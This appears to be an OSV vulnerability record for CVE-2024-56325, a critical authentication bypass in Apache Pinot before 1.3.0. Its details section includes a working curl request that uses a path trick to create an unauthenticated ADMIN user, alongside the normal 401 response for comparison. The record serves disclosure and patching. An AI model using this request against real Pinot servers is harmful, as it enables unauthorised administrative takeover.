CVE-2024-56325

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Source

https://cve.org/CVERecord?id=CVE-2024-56325

Import Source

https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2024-56325.json

JSON Data

https://api.osv.dev/v1/vulns/CVE-2024-56325

Aliases

GHSA-6jwp-4wvj-6597

Published

2025-04-01T09:07:14.185Z

Modified

2026-07-15T01:48:59.100184745Z

Severity

9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator

Summary

Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

Details

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hackCONTROLLER\"} http://{serverip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {"users":{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

Database specific

{
    "cna_assigner": "apache",
    "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/56xxx/CVE-2024-56325.json",
    "unresolved_ranges": [
        {
            "extracted_events": [
                {
                    "fixed": "1.3"
                }
            ],
            "source": "AFFECTED_FIELD"
        }
    ],
    "cwe_ids": [
        "CWE-288"
    ]
}

References

Affected packages

Git / github.com/apache/pinot

Affected ranges

Type

GIT

Repo

https://github.com/apache/pinot

Events

Introduced

Fixed

c0023da298126af6a01b802a04b66da34ba16134

Database specific

{
    "cpe": "cpe:2.3:a:apache:pinot:*:*:*:*:*:*:*:*",
    "extracted_events": [
        {
            "introduced": "0"
        },
        {
            "fixed": "1.3.0"
        }
    ],
    "source": "CPE_RANGE"
}

Affected versions

release-0.*

release-0.12.1-rc0

Database specific

source

"https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2024-56325.json"